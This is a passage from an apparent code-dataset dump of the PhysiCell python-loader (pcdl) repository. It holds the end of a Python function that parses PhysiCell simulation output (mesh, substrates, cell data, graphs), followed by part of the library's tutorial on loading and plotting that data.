d_mcds['mesh'] = {}\n d_mcds['continuum_variables'] = {}\n d_mcds['discrete_cells'] = {}\n\n\n #####################################\n # PhysiCell_settings.xml extraction #\n #####################################\n\n if not ((self.settingxml is None) or (self.settingxml is False)):\n # load Physicell_settings xml file\n s_xmlpathfile_setting = s_outputpath + '/' + self.settingxml\n x_tree = ET.parse(s_xmlpathfile_setting)\n if self.verbose:\n print(f'reading: {s_xmlpathfile_setting}')\n x_root = x_tree.getroot()\n\n # find the microenvironment node\n x_microenvironment = x_root.find('microenvironment_setup')\n # substrate loop\n ds_substrate = {}\n for x_variable in x_microenvironment.findall('variable'):\n # basics\n i_id = int(x_variable.get('ID'))\n s_substrate = x_variable.get('name').replace(' ', '_')\n ds_substrate.update({str(i_id) : s_substrate})\n\n # find the cell definition node\n # cell loop\n es_customdata = set()\n ds_celltype = {}\n for x_celltype in x_root.find('cell_definitions').findall('cell_definition'):\n # basics\n i_id = int(x_celltype.get('ID'))\n s_celltype = x_celltype.get('name').replace(' ', '_')\n ds_celltype.update({str(i_id) : s_celltype})\n # custom data\n try:\n for x_element in x_celltype.find('custom_data').iter():\n if (x_element.tag != 'custom_data'):\n try:\n self.custom_type[x_element.tag]\n except KeyError:\n es_customdata.add(x_element.tag)\n except AttributeError:\n print(f'Warning @ pyMCDS._read_xml : <cell_definition name=\"{s_celltype}\" ID=\"{i_id}\"><custom_data> node missing.')\n\n # if custom data was found\n if (len(es_customdata) > 0):\n print(f'Warning @ pyMCDS._read_xml : cell_definition custom_data without variable type setting detected. {sorted(es_customdata)}')\n\n # output\n d_mcds['metadata']['substrate'] = ds_substrate\n d_mcds['metadata']['cell_type'] = ds_celltype\n\n\n #######################################\n # read physicell output xml path/file #\n #######################################\n\n s_xmlpathfile_output= s_outputpath + '/' + s_xmlfile\n x_tree = ET.parse(s_xmlpathfile_output)\n if self.verbose:\n print(f'reading: {s_xmlpathfile_output}')\n x_root = x_tree.getroot()\n\n\n ###################\n # handle metadata #\n ###################\n\n if self.verbose:\n print('working on metadata ...')\n\n ### find the metadata node ###\n x_metadata = x_root.find('metadata')\n\n # get multicellds xml version\n d_mcds['metadata']['multicellds_version'] = f\"MultiCellDS_{x_root.get('version')}\"\n\n # get physicell software version\n x_software = x_metadata.find('software')\n x_physicelln = x_software.find('name')\n x_physicellv = x_software.find('version')\n d_mcds['metadata']['physicell_version'] = f'{x_physicelln.text}_{x_physicellv.text}'\n\n # get timestamp\n x_time = x_metadata.find('created')\n d_mcds['metadata']['created'] = x_time.text\n\n # get current simulated time\n x_time = x_metadata.find('current_time')\n d_mcds['metadata']['current_time'] = float(x_time.text)\n d_mcds['metadata']['time_units'] = x_time.get('units')\n\n # get current runtime\n x_time = x_metadata.find('current_runtime')\n d_mcds['metadata']['current_runtime'] = float(x_time.text)\n d_mcds['metadata']['runtime_units'] = x_time.get('units')\n\n # find the microenvironment node\n x_microenv = x_root.find('microenvironment').find('domain')\n\n\n ####################\n # handle mesh data #\n ####################\n\n if self.verbose:\n print('working on mesh data ...')\n\n ### find the mesh node ###\n x_mesh = x_microenv.find('mesh')\n d_mcds['metadata']['spatial_units'] = x_mesh.get('units')\n\n # while we're at it, find the mesh\n s_x_coor = x_mesh.find('x_coordinates').text\n s_delim = x_mesh.find('x_coordinates').get('delimiter')\n ar_x_coor = np.array(s_x_coor.split(s_delim), dtype=np.float64)\n\n s_y_coor = x_mesh.find('y_coordinates').text\n s_delim = x_mesh.find('y_coordinates').get('delimiter')\n ar_y_coor = np.array(s_y_coor.split(s_delim), dtype=np.float64)\n\n s_z_coor = x_mesh.find('z_coordinates').text\n s_delim = x_mesh.find('z_coordinates').get('delimiter')\n ar_z_coor = np.array(s_z_coor.split(s_delim), dtype=np.float64)\n\n # reshape into a meshgrid\n d_mcds['mesh']['mnp_grid'] = np.array(np.meshgrid(ar_x_coor, ar_y_coor, ar_z_coor, indexing='xy'))\n\n # get mesh center axis\n d_mcds['mesh']['mnp_axis'] = [\n np.unique(ar_x_coor),\n np.unique(ar_y_coor),\n np.unique(ar_z_coor),\n ]\n\n # get mesh center range\n d_mcds['mesh']['mnp_range'] = [\n (d_mcds['mesh']['mnp_axis'][0].min(), d_mcds['mesh']['mnp_axis'][0].max()),\n (d_mcds['mesh']['mnp_axis'][1].min(), d_mcds['mesh']['mnp_axis'][1].max()),\n (d_mcds['mesh']['mnp_axis'][2].min(), d_mcds['mesh']['mnp_axis'][2].max()),\n ]\n\n # get voxel range\n d_mcds['mesh']['ijk_range'] = [\n (0, len(d_mcds['mesh']['mnp_axis'][0]) - 1),\n (0, len(d_mcds['mesh']['mnp_axis'][1]) - 1),\n (0, len(d_mcds['mesh']['mnp_axis'][2]) - 1),\n ]\n\n # get voxel axis\n d_mcds['mesh']['ijk_axis'] = [\n np.array(range(d_mcds['mesh']['ijk_range'][0][1] + 1)),\n np.array(range(d_mcds['mesh']['ijk_range'][1][1] + 1)),\n np.array(range(d_mcds['mesh']['ijk_range'][2][1] + 1)),\n ]\n\n # get mesh bounding box range [xmin, ymin, zmin, xmax, ymax, zmax]\n s_bboxcoor = x_mesh.find('bounding_box').text\n s_delim = x_mesh.find('bounding_box').get('delimiter')\n ar_bboxcoor = np.array(s_bboxcoor.split(s_delim), dtype=np.float64)\n\n d_mcds['mesh']['xyz_range'] = [\n (ar_bboxcoor[0], ar_bboxcoor[3]),\n (ar_bboxcoor[1], ar_bboxcoor[4]),\n (ar_bboxcoor[2], ar_bboxcoor[5]),\n ]\n\n # voxel data must be loaded from .mat file\n s_voxelpathfile = s_outputpath + '/' + x_mesh.find('voxels').find('filename').text\n ar_mesh_initial = io.loadmat(s_voxelpathfile)['mesh']\n if self.verbose:\n print(f'reading: {s_voxelpathfile}')\n\n # center of voxel specified by first three rows [ x, y, z ]\n # volume specified by fourth row\n d_mcds['mesh']['mnp_coordinate'] = ar_mesh_initial[:3, :]\n d_mcds['mesh']['volumes'] = ar_mesh_initial[3, :]\n\n\n ################################\n # handle microenvironment data #\n ################################\n\n if self.microenv:\n if self.verbose:\n print('working on microenvironment data ...')\n\n # micro environment data is shape [4+n, len(voxels)] where n is the number\n # of species being tracked. the first 3 rows represent (x, y, z) of voxel\n # centers. The fourth row contains the voxel volume. The 5th row and up will\n # contain values for that species in that voxel.\n s_microenvpathfile = s_outputpath + '/' + x_microenv.find('data').find('filename').text\n ar_microenv = io.loadmat(s_microenvpathfile)['multiscale_microenvironment']\n if self.verbose:\n print(f'reading: {s_microenvpathfile}')\n\n # continuum_variables, unlike in the matlab version the individual chemical\n # species will be primarily accessed through their names e.g.\n # d_mcds['continuum_variables']['oxygen']['units']\n # d_mcds['continuum_variables']['glucose']['data']\n\n # substrate loop\n for i_s, x_substrate in enumerate(x_microenv.find('variables').findall('variable')):\n # i don't like spaces in species names!\n s_substrate = x_substrate.get('name').replace(' ', '_')\n\n d_mcds['continuum_variables'][s_substrate] = {}\n d_mcds['continuum_variables'][s_substrate]['units'] = x_substrate.get('units')\n\n if self.verbose:\n print(f'parsing: {s_substrate} data')\n\n # initialize meshgrid shaped array for concentration data\n d_mcds['continuum_variables'][s_substrate]['data'] = np.zeros(d_mcds['mesh']['mnp_grid'][0].shape)\n\n # diffusion data for each species\n d_mcds['continuum_variables'][s_substrate]['diffusion_coefficient'] = {}\n d_mcds['continuum_variables'][s_substrate]['diffusion_coefficient']['value'] = float(x_substrate.find('physical_parameter_set').find('diffusion_coefficient').text)\n d_mcds['continuum_variables'][s_substrate]['diffusion_coefficient']['units'] = x_substrate.find('physical_parameter_set').find('diffusion_coefficient').get('units')\n\n # decay data for each species\n d_mcds['continuum_variables'][s_substrate]['decay_rate'] = {}\n d_mcds['continuum_variables'][s_substrate]['decay_rate']['value'] = float(x_substrate.find('physical_parameter_set').find('decay_rate').text)\n d_mcds['continuum_variables'][s_substrate]['decay_rate']['units'] = x_substrate.find('physical_parameter_set').find('decay_rate').get('units')\n\n # store data from microenvironment file as numpy array\n # iterate over each voxel\n # bue: i have a hunch this could be faster reimplemented.\n for vox_idx in range(d_mcds['mesh']['mnp_coordinate'].shape[1]):\n\n # find the voxel coordinate\n ar_center = d_mcds['mesh']['mnp_coordinate'][:, vox_idx]\n i = np.where(np.abs(ar_center[0] - d_mcds['mesh']['mnp_axis'][0]) < 1e-10)[0][0]\n j = np.where(np.abs(ar_center[1] - d_mcds['mesh']['mnp_axis'][1]) < 1e-10)[0][0]\n k = np.where(np.abs(ar_center[2] - d_mcds['mesh']['mnp_axis'][2]) < 1e-10)[0][0]\n\n # store value\n d_mcds['continuum_variables'][s_substrate]['data'][j, i, k] = ar_microenv[4+i_s, vox_idx]\n\n\n ####################\n # handle cell data #\n ####################\n\n if self.verbose:\n print('working on discrete cell data ...')\n\n # in order to get to the good stuff, we have to pass through a few different hierarchical levels\n x_cell = x_root.find('cellular_information').find('cell_populations').find('cell_population').find('custom')\n\n # we want the PhysiCell data, there is more of it\n for x_simplified_data in x_cell.findall('simplified_data'):\n if x_simplified_data.get('source') == 'PhysiCell':\n x_celldata = x_simplified_data\n break\n\n # iterate over labels which are children of labels these will be used to label data arrays\n ls_variable = []\n ds_unit = {}\n for label in x_celldata.find('labels').findall('label'):\n # I don't like spaces in my dictionary keys!\n s_variable = label.text.replace(' ', '_')\n i_variable = int(label.get('size'))\n s_unit = label.get('units')\n\n if s_variable in es_var_subs:\n if (len(d_mcds['metadata']['substrate']) > 0):\n # continuum_variable id label sorting\n ls_substrate = [s_substrate for _, s_substrate in sorted(d_mcds['metadata']['substrate'].items())]\n for s_substrate in ls_substrate:\n s_variable_subs = s_substrate + '_' + s_variable\n ls_variable.append(s_variable_subs)\n ds_unit.update({s_variable_subs : s_unit})\n else:\n ls_substrate = [str(i_substrate) for i_substrate in range(i_variable)]\n for s_substrate in ls_substrate:\n s_variable_subs = s_variable + '_' + s_substrate\n ls_variable.append(s_variable_subs)\n ds_unit.update({s_variable_subs : s_unit})\n\n elif s_variable in es_var_death:\n for i_deathrate in range(i_variable):\n s_variable_deathrate = s_variable + '_' + str(i_deathrate)\n ls_variable.append(s_variable_deathrate)\n ds_unit.update({s_variable_deathrate : s_unit})\n\n elif s_variable in es_var_cell:\n if (len(d_mcds['metadata']['cell_type']) > 0):\n # discrete_cells id label sorting\n ls_celltype = [s_celltype for _, s_celltype in sorted(d_mcds['metadata']['cell_type'].items())]\n for s_celltype in ls_celltype:\n s_variable_celltype = s_celltype + '_' + s_variable\n ls_variable.append(s_variable_celltype)\n ds_unit.update({s_variable_celltype : s_unit})\n else:\n ls_celltype = [str(i_celltype) for i_celltype in range(i_variable)]\n for s_celltype in ls_celltype:\n s_variable_celltype = s_variable + '_' + s_celltype\n ls_variable.append(s_variable_celltype)\n ds_unit.update({s_variable_celltype : s_unit})\n\n elif s_variable in es_var_spatial:\n for s_axis in ['_x','_y','_z']:\n s_variable_spatial = s_variable + s_axis\n ls_variable.append(s_variable_spatial)\n ds_unit.update({s_variable_spatial: s_unit})\n\n else:\n ls_variable.append(s_variable)\n ds_unit.update({s_variable : s_unit})\n\n # store unit\n d_mcds['discrete_cells']['units'] = ds_unit\n\n # load the file\n s_cellpathfile = s_outputpath + '/' + x_celldata.find('filename').text\n try:\n ar_cell = io.loadmat(s_cellpathfile)['cells']\n if self.verbose:\n print(f'reading: {s_cellpathfile}')\n except ValueError: # hack: some old PhysiCell versions generates a corrupt cells.mat file, if there are zero cells.\n print(f'Warning @ pyMCDS._read_xml : corrupt {s_cellpathfile} detected!\\nassuming time step with zero cells because of a known bug in PhysiCell MultiCellDS version 0.5 output.')\n ar_cell = np.empty([len(ls_variable),0])\n\n # store data\n d_mcds['discrete_cells']['data'] = {}\n for col in range(len(ls_variable)):\n d_mcds['discrete_cells']['data'][ls_variable[col]] = ar_cell[col,:]\n\n\n #####################\n # handle graph data #\n #####################\n\n if self.graph:\n\n if self.verbose:\n print('working on graph data ...')\n\n d_mcds['discrete_cells']['graph'] = {}\n\n # neighborhood cell graph\n s_cellpathfile = s_outputpath + '/' + x_cell.find('neighbor_graph').find('filename').text\n dei_graph = graphfile_parser(s_pathfile=s_cellpathfile)\n if self.verbose:\n print(f'reading: {s_cellpathfile}')\n\n # store data\n d_mcds['discrete_cells']['graph'].update({'neighbor_cells': dei_graph})\n\n # attached cell graph\n s_cellpathfile = s_outputpath + '/' + x_cell.find('attached_cells_graph').find('filename').text\n dei_graph = graphfile_parser(s_pathfile=s_cellpathfile)\n if self.verbose:\n print(f'reading: {s_cellpathfile}')\n\n # store data\n d_mcds['discrete_cells']['graph'].update({'attached_cells': dei_graph})\n\n # output\n if self.verbose:\n print('done!')\n return d_mcds\n\n" }, { "alpha_fraction": 0.7065566182136536, "alphanum_fraction": 0.7314125299453735, "avg_line_length": 41.02225112915039, "blob_id": "631c6dd7d69e067932155a1bd4440d0eec76f3a3", "content_id": "b82facc61904826b2299b1a6f35ff0ae31c652b4", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 32112, "license_type": "permissive", "max_line_length": 402, "num_lines": 764, "path": "/man/TUTORIAL.md", "repo_name": "PhysiCell-Tools/python-loader", "src_encoding": "UTF-8", "text": "# PhysiCell Data Loader Tutorial Man Page\n\nPlease install the latest version of physicelldataloader (pcdl) branch v3,\nas described in the [HowTo](https://github.com/elmbeech/physicelldataloader/blob/master/man/HOWTO.md) section.\\\nBranch v1 and v2 exists mainly for backwards compatibility.\n\n\n## Tutorial - branch v1 and v2\nThe original python-loader tutorial can be found here.\n+ http://www.mathcancer.org/blog/python-loader/\n\n\n## Tutorial - branch v3\n\n### Introduction: PhysiCell's MultiCellular Data Standard (MCDS) Time Step Anatomy\n\nEach time PhysiCell's internal time tracker passes a time step where data is to be saved, it generates a number of files of various types.\\\nEach of these files will have a number at the end that indicates where it belongs in the sequence of outputs.\\\nAll files from the first round of output will end in 00000000.\\*, and the second round will be 00000001.\\*, and so on.\\\nHave a look at this [PhysiCell data time series](https://github.com/elmbeech/physicelldataloader/tree/master/pcdl/data_timeseries_2d).\n\nLet's assume we captured data every simulation time hour, and we're interested in the set of output half a day through the run, the 13th set of output files.\\\nThe files we care about most from this set consists of:\n\n+ **output00000012.xml**: This file is the main organizer of the data.\n It contains an overview of the data stored in the MultiCellDS as well as some actual data, including:\\\n metadata (MultiCellDS version, PhysiCell or BioFVM version, simulation time, runtime, and processing time stamp),\\\n coordinates for the computational domain (mesh),\\\n parameters for diffusing substrates in the microenvironment (continuum\\_variables),\\\n column labels and units for the cell data (cell\\_population),\\\n file names for the files that contain microenvironment and cell data at this time step (mat and possibly graph.txt files),\n+ **output00000012_cells.mat**: This is a MATLAB matrix file that contains tracked information about the individual cells in the model.\n It tells us things like the cells' position, volume, secretion, cell cycle status, and user defined cell parameters.\n+ **output00000012_microenvironment0.mat**: This is a MATLAB matrix file that contains data about the microenvironment at this time step.\n\n\n### The Legacy Way to Run pyMCDS\n\nIn the early days, PhysiCell output was with the help of a script loaded into MATLAB for analysis.\\\nIn 2019, a similar loader script was written for phython3.\nThe name of this script filed was pyMCDS.py.\nTo load data, this file was copied into the PhysiCell root or output folder.\nA python3 shell was fired up in the directory where this file resisted, and the pyMCDS class was loaded with this code line below.\n\n```python\n# legacy way to load the pyMCDS class\nfrom pyMCDS import pyMCDS\n```\n\nIn autumn 2022 an endeavor was undertaken to pack this pyMCDS.py script into a pip installable python3 library and develop it further, but always in such a way that, if necessary, the code could still be run like in the early days.\n\nAll this resulted in the PhysiCell data loader (pcdl) library here.\n\nIf you inspect today's pcdl source code, you will see that the [pyMCDS.py](https://raw.githubusercontent.com/elmbeech/physicelldataloader/master/pcdl/pyMCDS.py) file still exists.\nAnd if you feel so, it is still possible to load PhysiCell output the ancient way!\n\nthe pyMCDS class as such evolved into the TimeStep class, which is more powerful although it has heavier library dependencies too.\n\n\n### Loading an MCDS into Python3\n\nIn this section, we will load the pcdl library and use its TimeStep class to load the data snapshot 00000012, described above, from [data\\_timeseries\\_ 2d](https://github.com/elmbeech/physicelldataloader/tree/master/pcdl/data_timeseries_2d) from the 2D time series test dataset.\n\n```python\nimport pathlib # library to locate the test data\nimport pcdl # the physicell data loader library\n\nprint('pcdl version:', pcdl.__version__) # it is easy to figure out which pcdl version you run\n\npcdl.install_data() # to install the test datasets\n\ns_path = str(pathlib.Path(pcdl.__file__).parent.joinpath('data_timeseries_2d')) # local path to the installed test data set\ns_file = 'output00000012.xml' # the snapshot we want to analyze\ns_pathfile = f'{s_path}/{s_file}'\nprint('mcds xml:', s_pathfile)\n\n# load mcds - multi cell data standard - object\nmcds = pcdl.TimeStep(s_pathfile) # loads the whole snapshot: the xml and all related mat and graph files\n```\n\nSide note: for path, in general, unix (slash) and windows (backslash) notation will work.\n\nThe legacy way of loading data, where filename and path had to be separated, works too.\n\n```python\n# legacy way of loading a mcds object\nmcds = pcdl.TimeStep('output00000012.xml', s_path)\n```\n\nBy default, all data related to the snapshot is loaded.\\\nFor speed and less memory usage, it is however possible to only load the essential (output xml and cell mat data), and exclude microenvironment, graph data, and ID label mapping loading.\\\nAdditionally, it is possible to specify for custom\\_data variable types other than the generic float type, namely: int, bool, and str.\n\n```python\n# fine tuned way of loading a mcds object\nmcds = pcdl.TimeStep(s_pathfile, custom_type={}, microenv=False, graph=False, settingxml=None)\n```\n\n\n### The Loaded Data Structure\n\n```python\n# fetch data\nmcds = pcdl.TimeStep(s_pathfile)\n```\n\nAll loaded data lives in `mcds.data` dictionary.\\\nAs in **version 1**, we have tried to keep everything organized inside this dictionary.\\\nRegarding **version 1**, the structure has slightly changed.\\\nHowever, in **version 3**, all data is accessible by functions. There should be no need to fetch data directly from the `mcds.data` dictionary!\\\nAnyhow, let's take a look at what we actually have in here.\n\n![mcds.data dictionary blueprint](img/physicelldataloader_data_dictionary_v3.2.2.png)\n\n```python\n# main data branches\nsorted(mcds.data.keys()) # metadata, mesh, substrate (continuum_variables), and agent (discrete_cells)\n\n# metadata\nsorted(mcds.data['metadata'].keys()) # multicellds version, physicell version, simulation time, runtime, time stamp, time unit, spatial unit, and substrate and cell type ID label mappings\n\n# mesh\nsorted(mcds.data['mesh'].keys()) # voxel (ijk), mesh (nmp), and position (xyz) range, axis, coordinate, grid objects, and voxel volume\n\n# microenvironment\nsorted(mcds.data['continuum_variables'].keys()) # list of all processed substrates, e.g. oxygen\nsorted(mcds.data['continuum_variables']['oxygen'].keys()) # substrate related data values, unit, diffusion coefficient, and decay rate\n\n# cell\nsorted(mcds.data['discrete_cells'].keys()) # data, units, and graph dictionaries\nsorted(mcds.data['discrete_cells']['data'].keys()) # all cell related, tracked data\nsorted(mcds.data['discrete_cells']['units'].keys()) # all units from the cell related, tracked data\nsorted(mcds.data['discrete_cells']['graph'].keys()) # neighbor_cells and attached_cells graph dictionaries\n```\n\n\n### Accessing the Loaded Data by the TimeStep Class Functions\nOnce again, loud, for the ones in the back, in version 3, all data is accessible by functions.\\\nThere should be no need to fetch data directly from the `mcds.data` dictionary of dictionaries.\\\nWe will explore these functions in this section.\n\n```python\n# fetch data\nmcds = pcdl.TimeStep(s_pathfile)\n```\n\n#### Metadata\n\nFetch the data's MultiCellDS version, and the PhysiCell version the data was generated.\n\n```python\nmcds.get_multicellds_version() # will return a string like MultiCellDS_2 or MultiCellDS_0.5\nmcds.get_physicell_version() # will return a string like PhysiCell_1.10.4 or BioFVM_1.1.7\n```\n\nFetch simulation time, runtime, and time stamp when the data was processed.\n\n```python\nmcds.get_time() # will return a float value like 720.0\nmcds.get_runtime() # will return a float value like 15.596373\nmcds.get_timestamp() # will return a sting like 2022-10-19T01:12:01Z\n```\n\nFetch substrate and cell type ID label mappings, read out from the PhysiCell\\_settings.xml file.\n\n```python\nmcds.get_substrate_dict() # will return a dictionary, which maps substrate IDs to labels\nmcds.get_celltype_dict() # will return a dictionary, which maps cell type IDs to labels\n```\n\n\n#### Mesh Data\n\nLet's start by the voxel.\\\nIt is common, but not necessary, that the voxel's width, height, and depth is the same.\\\nHowever, you will find that in this test dataset this is not the case. \\\nIn the related `PhysiCell_settings.xml` file the voxel was specified as 30[nm] high, 20[nm] wide, and 10[nm] deep.\\\nWe can retrieve this voxel spacing value and voxel volume. \\\nAdditionally, we can retrieve the mesh spacing.\\\nYou will notice that voxel and mesh spacing values differ.\\\nThis is because this data set is from a 2D simulation. For that reason, the mesh depth is set to 1.\\\nIn 3D simulation data, voxel and mesh spacing will be the same because voxel and mesh depth is the same.\n\n```python\nmcds.get_mesh_spacing() # [30.0, 20.0, 1]\nmcds.get_voxel_spacing() # [30.0, 20.0, 10.0]\nmcds.get_voxel_volume() # 30[nm] * 20[nm] * 10[nm] = 6000[nm\\*\\*3]\n```\n\nSince version 3, coordinate labels are distinct:\n+ **x,y,z:** stand for cell position coordinates, and are real values.\n+ **m,n,p:** stand for mesh center coordinates, and are real values.\n+ **i,j,k:** stand for voxel index coordinates, and are unsigned integer values.\n\nFor a better understanding, let's fetch start and stop range values for each coordinate type.\\\nUnlike in the python range function, not only the start value, but also the stop value is inclusive.\n\n```python\nmcds.get_voxel_ijk_range() # [(0, 10), (0, 10), (0, 0)]\nmcds.get_mesh_mnp_range() # [(-15.0, 285.0), (-10.0, 190.0), (0.0, 0.0)]\nmcds.get_xyz_range() # [(-30.0, 300.0), (-20.0, 200.0), (-5.0, 5.0)]\n```\n\nThe domain benchmarks are:\n+ voxel index values stretch from 0 to 10 longitude (i), 0 to 10 latitude (j), the 2D domain is only 1 voxel deep (k).\n+ mesh center values stretch from -15[nm] to 285[nm] longitude (m), -10[nm] to 190[nm] latitude (n), and the depth mesh center (p) is at zero.\n+ cells can hold a positioned between -30[nm] and 300[nm] longitude (x), -20[nm] and 200[nm] latitude (y), and -5[nm] and 5[nm] depth (z).\n\nFor voxel and mesh centers, we can fetch the axis tick lists.\\\nEach of this function will return a list of 3 numpy arrays, ordered by ijk or mnp, respective.\n\n```python\nmcds.get_voxel_ijk_axis()\nmcds.get_mesh_mnp_axis()\n```\n\nWe can even retrieve all mnp mesh center coordinate triplets, and the meshgrids in 2D or 3D shape itself.\\\nThe coordinate triplets are returned as numpy array.\\\nThe meshgrids are returned as a 3 way tensor (2D) or 4 way tensor (3D) numpy array. \\\nAs shown below, it is easy to subset these tensors.\n\n```python\n# all mnp coordinates\nmnp_coordinats = mcds.get_mesh_coordinate() # numpy array with shape (3, 121)\nmnp_coordinats.shape # (3, 121)\n\n# 2D mesh grid\nmn_meshgrid = mcds.get_mesh_2D() # numpy array with shape (2, 11, 11)\nmn_meshgrid.shape # (2, 11, 11)\nm_meshgrid = mn_meshgrid[0] # or explicit mn_meshgrid[0,:,:]\nn_meshgrid = mn_meshgrid[1] # or explicit mn_meshgrid[1,:,:]\nm_meshgrid.shape # (11, 11)\nn_meshgrid.shape # (11, 11)\n\n# 3D mesh grid\nmnp_meshgrid = mcds.get_mesh() # numpy array with shape (3, 11, 11, 1)\nmnp_meshgrid.shape # (3, 11, 11, 1)\nm_meshgrid = mnp_meshgrid[0] # or explicit mnp_meshgrid[0,:,:,:]\nn_meshgrid = mnp_meshgrid[1] # or explicit mnp_meshgrid[1,:,:,:]\np_meshgrid = mnp_meshgrid[2] # or explicit mnp_meshgrid[2,:,:,:]\nm_meshgrid.shape # (11, 11, 1)\nn_meshgrid.shape # (11, 11, 1)\np_meshgrid.shape # (11, 11, 1)\n```\n\nFurthermore, there are two helper function.\\\nOne to figure out if a particular xyz coordinate is still in side the mesh, another one to translate a xyz coordinate into ijk voxel indices.\\\nThe translation function will by default checks if the given coordinate is in the mesh.\n\n```python\n# is given xyz is in the mesh?\nmcds.is_in_mesh(x=0, y=0, z=0) # True\nmcds.is_in_mesh(x=111, y=22, z=-5) # True\nmcds.is_in_mesh(x=111, y=22, z=-5.1) # False and Warning @ pyMCDS.is_in_mesh : z = -5.1 out of bounds: z-range is (-5.0, 5.0)\n\n# translate xyz into ijk!\nmcds.get_voxel_ijk(x=0, y=0, z=0) # [0,0,0]\nmcds.get_voxel_ijk(x=111, y=22, z=-5) # [4, 2, 0]\nmcds.get_voxel_ijk(x=111, y=22, z=-5.1) # None and Warning @ pyMCDS.is_in_mesh : z = -5.1 out of bounds: z-range is (-5.0, 5.0)\n```\n\n\n#### Microenvironment (Continuum Variables) Data\n\nLet's have a look at the substrate.\\\nWe can retrieve an alphabetically ordered list of all substrates processes in the simulation.\\\nIn the loaded dataset, only one substrate, oxygen, was part of the simulation.\n\n```python\nmcds.get_substrate_names() # ['oxygen']\n```\n\nWe can retrieve a pandas dataframe with the parameters (decay\\_rate, diffusion\\_coefficient) that were set for each substrate.\n\n```python\ndf = mcds.get_substrate_df()\ndf.head()\n```\n\nRegarding the concentrations, we can retrieve:\n+ a **numpy array** of all substrate concentrations at a particular xyz coordinate, ordered alphabetically by substrate name, like the list retrieved by the get\\_substrate\\_names function.\n+ substrate specific 3D or 2D **meshgrid numpy arrays**.\n To get a 2D meshgrids you can slice though any z stack value, the function will always pick the closest mesh center coordinate, the smaller coordinate, if you hit the saddle point between two voxels.\n+ **matplotlib contour and contourf plots**, for any substrate, through any z\\_slice.\n+ a **pandas dataframe** with voxel ijk coordinate values, mesh center mnp coordinate values, and concentrations values for all substrates.\n\n```python\n# all concentration values at a particular coordinate\nmcds.get_concentration_at(x=0, y=0, z=0) # array([34.4166271])\nmcds.get_concentration_at(x=111, y=22, z=-5) # array([18.80652216])\nmcds.get_concentration_at(x=111, y=22, z=-5.1) # None and Warning @ pyMCDS.is_in_mesh : z = -5.1 out of bounds: z-range is (-5.0, 5.0)\n\n# concentration meshgrid for a particular substrate\noxygen_3d = mcds.get_concentration('oxygen')\noxygen_2d = mcds.get_concentration('oxygen', z_slice=0)\noxygen_3d.shape # (11, 11, 1)\noxygen_2d.shape # (11, 11)\n\n# contour plot\nfig = mcds.get_contour('oxygen')\nfig = mcds.get_contour('oxygen', z_slice=3.333)\nfig.show()\n\n# dataframe with complete voxel coordinate (ijk), mesh coordinate (mnp), and substrate concentration mapping\ndf = mcds.get_concentration_df()\ndf.head()\n\n# detect substrates that not over whole domain have the same concentration\ndf = mcds.get_concentration_df(states=2)\ndf.head() # oxygen concentration varies over the domain\n```\n\n\n#### Cell (Discrete Cells) Data\n\nNow, let's have a look at all variables we track from each agent.\\\nIt is quite a list.\\\nThis list is ordered alphabetically, except for the first entry, which always is ID.\n\n```python\nmcds.get_cell_variables() # ['ID', 'attachment_elastic_constant', ..., 'velocity_z']\nlen(mcds.get_cell_variables()) # 77\n```\n\nThe data itself we can retrieve as dataframe.\\\nThere exist two functions to do so.\\\nOne that retrieves data from all agents in the whole domain, the other retrieves only data from the agents in a particular voxel, specified by the xyz coordinate.\\\nPlease note, this dataframes not only hold the exact xyz coordinate, and all discrete variables mentioned above, they list additionally all agent surrounding substrate concentrations, the containing ijk voxel coordinate, and the mnp mesh center coordinate.\n\n```python\n# data from all agents in the domain\ndf = mcds.get_cell_df()\ndf.shape # (992, 94) this means: 992 agents in the whole domain, 94 tracked variables\ndf.info()\ndf.head()\n\n# data variables that are in all agents the same carry no information\n# let's filter for variables that carry at least 2 states\ndf = mcds.get_cell_df(states=2)\ndf.shape # (992, 38) this means: 992 agents in the whole domain, 38 tracked variables have more than 2 states\n\n# data from all agents in the xyz specified voxel\ndf = mcds.get_cell_df_at(x=0,y=0,z=0)\ndf.shape # (4, 94)\n\ndf = mcds.get_cell_df_at(x=111,y=22,z=-5)\ndf.shape # (3, 94)\n\ndf = mcds.get_cell_df_at(x=111,y=22,z=-5.1) # None and Warning @ pyMCDS.is_in_mesh : z = -5.1 out of bounds: z-range is (-5.0, 5.0)\n```\n\nAdditionally, there is a scatter plot function available, shaped for df\\_cell dataframe content.\n```\n# scatter plot\nfig = mcds.get_scatter() # default focus is cell_type and z_slice=0\nfig.show()\n\nfig = mcds.get_scatter('oxygen', z_slice=3.333)\nfig.show()\n```\n\n\nSince lately, PhysiCell tracks for each cell, if this cell touches other cells.\\\nThis data is stored in two dictionaries of sets of integers which link the corresponding cell IDs.\\\nWe have here a closer look at the neighbor graph because the attached graph is in this particular study not really interesting.\n\n```python\n# attached graph\ngraph = mcds.get_attached_graph_dict()\nlen(graph) # 992\n\n# neighbor graph\ngraph = mcds.get_neighbor_graph_dict()\nlen(graph) # 992\ngraph.keys() # dict_keys([0, 1, ..., 993])\ngraph[0] # {1, 31, 33, 929, 935, 950}\n```\n\n\n#### Units\n\nFinally, it is possible to retrieve a pandas series that lists all units from all tracked variables, from metadata, mesh, continuum\\_variables, and discrete\\_cells.\n\n```python\nse = mcds.get_unit_se()\nse.shape # (82,)\nse.name # 'unit'\nse.index # Index(['attachment_elastic_constant', 'attachment_rate', ..., 'velocity_z'], dtype='object', name='feature')\nse.head()\n```\n\n\n#### MCDS Time Steps, Pandas, and Plotting\n\nSince microenvironment data and cell data can be retrieved as pandas datafarme, basic plotting (line plot, bar plot, histogram, boxplot, kernel density estimation plot, area plot, pie plot, scatter plot, hexbin plot) can easily be generated with the **pandas plot function**.\nAs mentioned above, for microenvironment data, the TimeStep class has a mcds.get\\_contour function because pandas has no contour and contourf plots implementation.\nAll these plots are **mathplotlib** plots, hence fine tuning can always be done using the matplotlib library.\n\n+ https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.plot.html\n+ https://matplotlib.org/\n\n```python\n# load library\nimport matplotlib.pyplot as plt\n\n# set constantes\nz_slice = 0\n\n# generate plot\nfig, ax = plt.subplots(figsize=(7,4))\n\n# plot microenvironment\nmcds.get_contour('oxygen', z_slice=z_slice, ax=ax)\n\n# plot cells\ndf = mcds.get_cell_df()\ndf = df.loc[(df.mesh_center_p == z_slice),:]\ndf.plot(\n kind = 'scatter',\n x = 'position_x',\n y = 'position_y',\n s = 10,\n 